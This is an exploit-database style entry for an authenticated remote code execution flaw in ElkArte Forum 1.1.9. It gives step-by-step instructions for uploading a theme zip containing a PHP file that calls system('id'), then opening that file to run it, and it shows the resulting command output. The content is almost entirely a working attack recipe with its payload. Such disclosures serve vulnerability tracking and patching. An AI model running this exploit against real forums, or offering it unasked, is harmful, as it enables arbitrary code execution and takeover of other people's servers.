[webapps] ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated)

# Exploit Title : ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated) # Date: 2024-5-24 # Exploit Author: tmrswrr # Category: Webapps # Vendor Homepage: https://www.elkarte.net/ # Software Link : https://github.com/elkarte/Elkarte/releases/download/v1.1.9/ElkArte_v1-1-9_install.zip # Version : 1.1.9 1) After login go to Manage and Install theme > https://127.0.0.1/ElkArte/index.php?action=admin;area=theme;sa=admin;c2e3e39a0d=276c2e3e39a0d65W2qg1voAFfX1yNc5m 2) Upload test.zip file and click install > test.zip > test.php > <?php echo system('id'); ?> 3) Go to Theme Setting > Theme Directory > https://127.0.0.1/ElkArte/themes/test/test.php Result : uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte) uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte)